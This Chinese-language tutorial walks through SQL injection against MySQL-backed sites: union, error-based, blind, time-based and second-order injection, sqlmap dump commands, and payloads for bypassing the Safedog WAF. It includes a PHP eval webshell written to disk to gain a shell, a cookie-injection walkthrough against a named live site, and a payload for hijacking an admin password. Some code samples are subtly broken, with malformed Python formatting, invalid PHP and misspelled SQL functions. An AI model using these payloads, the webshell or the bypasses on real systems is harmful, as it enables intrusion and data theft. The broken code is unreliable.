文章目录
- 学一点SQL注入基础
- 思维导图
- 注入原理
- MySQL三种注释
- MySQL三种注入方式
- 联合查询注入
- 确定字段数
- 常规步骤
- sqlmap的使用
- 跨库注入
- MySQL注入获取最高权限-文件操作
- 利用cookie注入
- HTTP头注入
- MySQL加解密注入及宽字节注入
- MySQL报错注入
- insert、update、delete注入
- PHP操作数据库
- SQL盲注(bool和sleep)
- bool型注入
- 延时注入(sleep)
- SQL二次注入
- SQL绕过注入
学一点SQL注入基础
思维导图
注入原理
例如:python
#引入
import pymysql
db = pymysql.connect(host='', port='', ...)
cur = db.cursor()
#mysql语句、模仿登录
sql = 'select * from user where username=%s and password=%s'%username,password
#执行
cur.execute()
#校验
result = cur.fetchone()
if result:
print('登录成功')
else:
print('登录失败')
如果不加安全过滤,当从外界输入进来username= root or 1 = 1; #
SQL语句就会变成 select * from user where username=root or 1 = 1;# and password=%s
#后面的就全被注释掉了、便可以用root的身份登录了
MySQL三种注释
• delete from table;
• /delete from table/
• – delete from table
• ==–==后面需要加空格也就是在注入的时候变成 ==> --+、+的url编码为空格
MySQL三种注入方式
• 数字型
• select * from tony where id = 1
• select * from tony where id = -1 union select 1,database(),user()
• 构造id: -1 union select 1, database(), user()
• 字符型
• select * from tony where id = ‘tony’
• select * from tony where id = ‘’-1 union selecr 1, database(), user()#
• 构造id:-1’ union select 1, database(), user() --+
• 搜索型
• select * from table where xxx like id=’%xxx%’
• select * from xxx where xxx like id = ‘%%’ union select 1, database(), user() ‘%%’
• %‘ union select 1, database(), user() --+’%
联合查询注入
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
构造一个id ==> ?id = 'union select 1, 2, 3 --+
确定字段数
order by语句
ORDER BY 关键字用于对结果集进行排序。
例如order by 4 ==> 得到报错 unknown column ‘4’ in order clause
便可确定字段数小于4
常规步骤
1. 获取当前数据库及当前数据库用户名
• 函数:database()、user()
• information_schema.schemata ==> 存储所有数据库
• schema_name ==> 数据库名
2. 获取表名称
• information_schema ==> 是MySQL5.0及以上自带数据库,用于存储MySQL中所有数据库和数据表和例
• information_schema.tables ==> 数据库中的表名称
• information_schema.columns ==> 数据库中的列名称
• table_name ==> 表名
• table_schema ==> 数据库名
• coulmn_name ==> 列名
• group_concat ==> 将查到的数据列出来
• 获取表名称的语句:
• union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = ‘xxx’;、
3. 获取列名称
• union select 1, group_concat(coulmn_name),3 from information_schema.columns where table_name = ‘xxx’ and table_schema = ‘xxx’;
4. 获取数据
• 获取用户表的所有账号密码
• union select 1, group_concat(username),group_concat(password) from users;
sqlmap的使用
下载安装:
sqlmap需要环境
1.python 2.7版本
python2.7下载地址:https://www.python.org/
2.sqlmap压缩包
sqlmap下载地址:http://sqlmap.org/
基本流程:
1. 获取当前所有数据库
sqlmap -u “http://www.xxx.com/?id=1” --dbs --batch
2. 获取当前数据a中的所有表
sqlmap -u “http://www.xxx.com?id=1” -D a --tables --batch
3. 获取当前数据库a中b表的所有列
sqlmap -u “http://www.xxx.com?id=1” -D a -T b --columns --batch
4. 获取当前数据库a中b表c列的数据
sqlmap -u “http://www.xxx.com?id=1” -D a -T b -C username, password --dump --batch
常用命令:
-u 查询是否存在注入
--dbs :获取当前用户所有数据库
-D 库名 --tables :获取数据库中的表名
-D 库名 -T 表名 --columns :获取表中的字段名
-D 库名 -T 表名 -C username,password --dump:获取字段内容
--user :获取数据库的所有用户
--current-db :获取当前网站使用的数据库
跨库注入
• 限定条件:
• 当前数据库用户必须为root ==> 确定用户user()函数
• 流程:
• 获取当前所有数据库
union select 1, group_concat(schema_name),3 from information_schema.schemata
• 获取你要注入的数据库的表名称
union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = ‘xxx’
• 获取你要注入的数据表的列名称
union select 1, group_concat(column_name),3 from information_schema.colunms where table_name = ‘xxx’ and table_schema = 'xxx’c
• 获取你需要的数据
union select 1, group_concat(username),group_concat(password) from xxx.xxx
• 注意
在查询表名,列名时,必须限定你要注入的数据库名称,如:xxx.xxx
MySQL注入获取最高权限-文件操作
目的:发现了注入点后,还想 进一步渗透,通过写入文件来获取shell
如:PHP EVAL 一句话木马
<?php eval($_POST["pass"]); ?>
GET 数据从url提交
POST 数据采用隐蔽方式提交
REQUEST 即支持GET方式、又支持POST方式前提条件:
木马必须被MySQL允许上传,设置secure_file_priv字段为空
secure_file_priv也是可以绕过的(当网站开启了日态功能后可通过mysql日态文件来进行绕过,如果没有开启,则必须有一个执行SQL语句的地方)
原理分析:
执行:select * from users where id= ( (’’) )
sql_injection: ') ) --+、 ') ) #
重新构造SQL执行语句从而达到目的,具体情况需具体分析
执行语句:
union select 1, ‘<? php eval($_POST["pass"]) ?>’,3 into outfile ‘C:\ \1\ \2\ \3.txt’、Windows下双斜杠、可防止转义
MySQL一句话注入
如何找到站点根目录:
1. 通过错误爆出路径
inurl: edu.cn warning
2. 通过对方网站遗留文件爆出路径
xxx.xxx/phpinfo.php
3. 通过漏洞爆出路径
discuz
4. 根据对方server类型爆出路径
IIS:\inetpub\wwwroot\
phpstudy2020:\phpstudy_pro\WWW\
phostudy2018:\phpstudy\PHPTutorial\WWW\
5. 整理思路
拿到注入点、找到路径并且secure_file_priv为空、即可执行MySQL一句话注入
利用cookie注入
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件,
条件1:是程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。条件2:在条件1的基础上,还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指
明使用request对象的具体方法进行获取。
1、先打开http://www.st3yy.com/experts_info.asp?id=128,等页面完全打开之后,我们将IE地址栏清空
2、在空白的地址栏上,填写上,以下内javascript: alert(document.cookie=“id=”+escape(“128”));
( 这里的“id=”便是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=”,“escape(“128”)”中的“128”是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=218”了,这两处要具体根据所获的数据来决定)
3、进行了第二步了,打开另一个窗口中,试一下,访问http://www.st3yy.com/experts_info.asp?(既是将“id=128”去掉后),然后看是否能正常访问。
从这里可以知道,程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request(“xx”)的方式。
现在cookie形成的一个重要因素已经明确了。
4、第三步,测试一下是否能提交接特殊字符,看程序是否对数据进行过滤。我们再回到刚才更改cookie的页面,然后在IE地址栏处填写javascript:alert(document.cookie=“id=”+escape(“128 and 1=1”));
6、看页面是否正常,如果正常我们再提交javascript:alert(document.cookie=“id=”+escape(“128 and 1=2”));
7、接下来的工作就和get post注入一样了。
HTTP头注入
案例:
限制登录次数的功能,使用getip()获取IP,然后查询IP和登录时间,如果超过尝试登录次数就禁止登录
服务端根据HTTP头部的信息来判断用户,客户端这边利用服务端的漏洞进行SQL注入
详情请看
MySQL加解密注入及宽字节注入
• 加解密注入
很多情况下,网站管理员会对传参进行一个加密的操作<如:base64,md5,自己写等等>
即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务
器,eg:www.xxx.com/index.php?id=MQ==
加密部分:MQ==
解密结果:1 相当于id=1
如果要写注入语句,应该先构造语句,再base64加密,
id=1 and 1=1
base64加密结果:MSBhbmQgMT0x
语句为:www.xxx.com/index.php?id=MSBhbmQgMT0x
• MySQL宽字节注入
宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的
URL后面 追回SQL语句进行注入。
在很多情况下, ‘ 符 会被替换成 / 符进入后台
如:php addslashes()给参数加上/ 避免注入
PHP中配置文件php.ini、magic_quotes_gpc函数开启
突破方法(gbk中文2个字节,英文1个字节):
希腊字母β是2个字节,url编码为%df,构造payload ==> ?id=-1%df%27 union select 1, user(), database(); --+
参考链接
MySQL报错注入
• 含义
• 报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据。
• 应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;
• 常见用法
• extractvalue(不支持union)
payload ==> and extractvalue(null, concat(0x7e, sql_injection), 0x7e)) ==> 0x7e = ~
利用这种方式,对后台进行一个排序,指定第一个参数为null,非法传参,让他故意报错,讲第二个参数中的语句代入数据库执行,最后报错显示执行的结果。
• updatexml
payload==> and 1 = (updatexml(1, contact(0x7e, (sql_injection)), 1))
此函数是用来更新xml数据的,当我们非法传参时,故意让他报错,执行我们的SQL语句,从而显示报错执行的结果,0x7e=~任然是用来区分数据的。
• 更多精彩
insert、update、delete注入
• 原理
当有信用户注册时,一般会执行如下SQL语句:
insert into users values (id, ’username‘, ’password‘);
当payload为 ==> ’or updatexml(1, concat(0x7e, (version()), 0x7e),0) or‘
insert into users values (id, ‘username’, ’’or updatexml(1, concat(0x7e, (version()), 0x7e),0) or‘‘);
便变成只执行updatexml(1, concat(0x7e, (version()), 0x7e),0)的语句了
• 常用例子
• extractvalue
insert into users values (id, ‘username’, ’’or extractvalue(1, concat(0x7e, (version()), 0x7e),0) or‘‘);
• updatexml
insert into users values (id, ‘username’, ’’or updatexml(1, concat(0x7e, (version)), 0x7e),0) or‘‘);
updatexml函数用来更新xml数据,第一个参数应该传入更新的数据,但当我们非法传参时,导致报错执行了我们的version()函数。
PHP操作数据库
常规的PHP代码:
<?php
error_reporting(0);
$id=&_GET("id");
$con=mysql_connect('127.0.0.1','root','password');
mysql_select_db("database",$con);
$sql="select * from users where id=$id";
$res=mysql_query($sql);
$row=mysql_fetch_array($res);
if($res){
echo $row('username');
}else{
print_r(mysql_error());
}
?>
SQL盲注(bool和sleep)
bool型注入
对比:
盲注普通注入兼容性好兼容性差应用广引用窄效率低效率高逐步猜解直接获取
常规步骤<递归获取数据>:
• 获取数据库名长度 – length()函数
• payload ==》 length(database())= ?
• ?可代入0-10递归查询出长度
• 获取数据库名称 – left()函数
• payload ==》 left(database(),1)=’?’
• ?可代入字母
• 数字递增1,2,3,4,5进一步获取数据库名的每个字母
• 获取表名称 – ascii()函数和substr()函数
• payload ==》 ascii(substr(select column_name from information_schema.columns where table_schema=‘xxx’ and table_name = ‘xxx’ limit(0,1),1,1))=’?’
SELECT column1, column2, columnN
FROM table_name
WHERE field
LIMIT [num]
• ?代入数字0-127
• 读取数据
• 1’ and ascii(substr((select username from users limit 0, 1), 1, 1))=’?’
• ?处代入数字0-127
延时注入(sleep)
配合if()函数使用,使用sleep()函数进行一个延时
如果满足数据库长度为5则进行延时5秒,反之,不延时。
例如 ==》 select if(length(database())=5,sleep(2),sleep(5))
SQL二次注入
• 原理
• 寻找合适的注入点对SQL语句进行拼接,将攻击语句写入到数据库,从而对数据库产生影响,如update更改密码的场景。
• 步骤:
• 正常语句:update users set password = ‘xxx’ where username = ‘xxx’ and password = ‘xxx’
• 构造payload:注册用户username = admin’#
• 构造后:update users set password = ‘123456’ where username = 'admin‘ # ’ and password = ‘xxx’
• end ==》 admin密码变成了123456
• 拿到admin,下一步为所欲为
SQL绕过注入
• 为什么需要绕过?
很多后台为了防止SQL注入会,使用preg_replace来过滤掉注释和其他影响SQL语句正常执行的符号。
闭合注入
再不需要注释的情况下,构造闭合来执行我们的SQL语句
1. union select强制闭合
原语句:select * from users where id = ‘$id’;
payload:-1’union select 1,2,'3
代入之后:select * from users where id = '-1’union select 1,(sql_injection),‘3’;
2. or语句制造闭合
原语句:select * from users where id=’$id’;
payload:-1’ union select 1,2,3 or ‘1’ = '1
代入之后:select * from users where id=’-1’ union select 1,2,3 or ‘1’ = ‘1’;
绕过安全狗
通过一些过滤来达到预防攻击的效果。
1. 判断过滤的关键字,在前面加上干扰符,比如a。
如/*! */注释被安全狗认定为不对系统造成伤害,所以不会拦截。
如使用%0a 换行,%23 注释来反过滤
payload ==> -1 union %23a%0a/* ! select*/ 1, 2, 3
让a单独在一行,然后把a注释掉,进行换行让接下来的select语句正常执行
2. 利用版本号绕过
/*! 44509select */
常见的方法:
1. 获取数据库名
payload ==> -1 union %23a%0a/* ! select * / 1, group_concat(table_name), 3 %23a%0a/ * from ! * / information_schema.tables where table_schema = ‘xxx’;
2. 获取表名
-1 union %23a%0a/* ! select */ 1, group_concat(table_name), 3 %23a%0a/ *! from * /
information_schema.tables where table_schema = ‘xxx’
常见的安全狗:
website_safedog,aliyundun,godaddy,
100种姿势绕过安全狗